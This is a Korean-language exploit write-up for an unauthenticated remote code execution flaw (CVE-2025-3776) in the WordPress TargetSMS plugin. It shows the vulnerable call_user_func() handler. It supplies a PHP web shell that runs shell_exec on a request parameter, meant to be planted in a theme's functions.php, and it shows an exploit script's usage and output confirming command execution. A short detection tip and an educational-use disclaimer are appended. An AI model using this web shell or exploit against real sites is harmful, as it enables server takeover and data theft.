
WordPress Verification SMS with TargetSMS 플러그인 <= 1.5는 원격 코드 실행(RCE) 취약점이 있습니다.
이 취약점은 사용자 입력에 대해 허용된 함수 목록(화이트리스트)으로 검사하지 않고 call_user_func()를 사용하는 데서 비롯됩니다. 이로 인해 인증 없이 메모리에 있는 기존 PHP 함수를 실행할 수 있는 논리적 결함이 발생하여 심각한 원격 코드 실행(RCE) 조건이 만들어집니다.
파일: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
이 코드는 인증되지 않은 사용자가 메모리에 존재하는 모든 함수를 트리거할 수 있도록 하며, 공격자가 함수를 로드할 수 있다면 악성 함수도 실행 가능합니다.
이 취약점을 성공적으로 익스플로잇하려면 WordPress 환경에 호출 가능한 함수가 이미 존재해야 합니다. WordPress 플러그인과 테마는 함수를 자동 로드할 수 있으므로, 공격자는 활성 테마의 functions.php 파일을 통해 자신의 함수를 주입할 수 있습니다.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php 끝에 다음 페이로드를 주입합니다:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ 이렇게 하면
evil()함수가 메모리에 로드되어call_user_func()를 통해 실행 가능해집니다.
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
메모리에 evil() 함수나 유사한 함수가 없는 경우:
{"status":false}
functions.php 수정 (위에서 설명한 방식)evil() 함수가 포함된 PHP 파일 업로드악성 함수가 로드되면 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
다음에 대한 반복적인 POST 요청을 모니터링하십시오:
/wp-admin/admin-ajax.php?action=targetvrHHndler
callback=evil 또는 예상치 못한 함수 이름이 포함된 경우
이 정보는 교육 및 윤리적 연구 목적으로만 제공됩니다. 작성자는 이 정보의 사용으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
익스플로잇 작성자: Nxploited (Khaled Alenazi)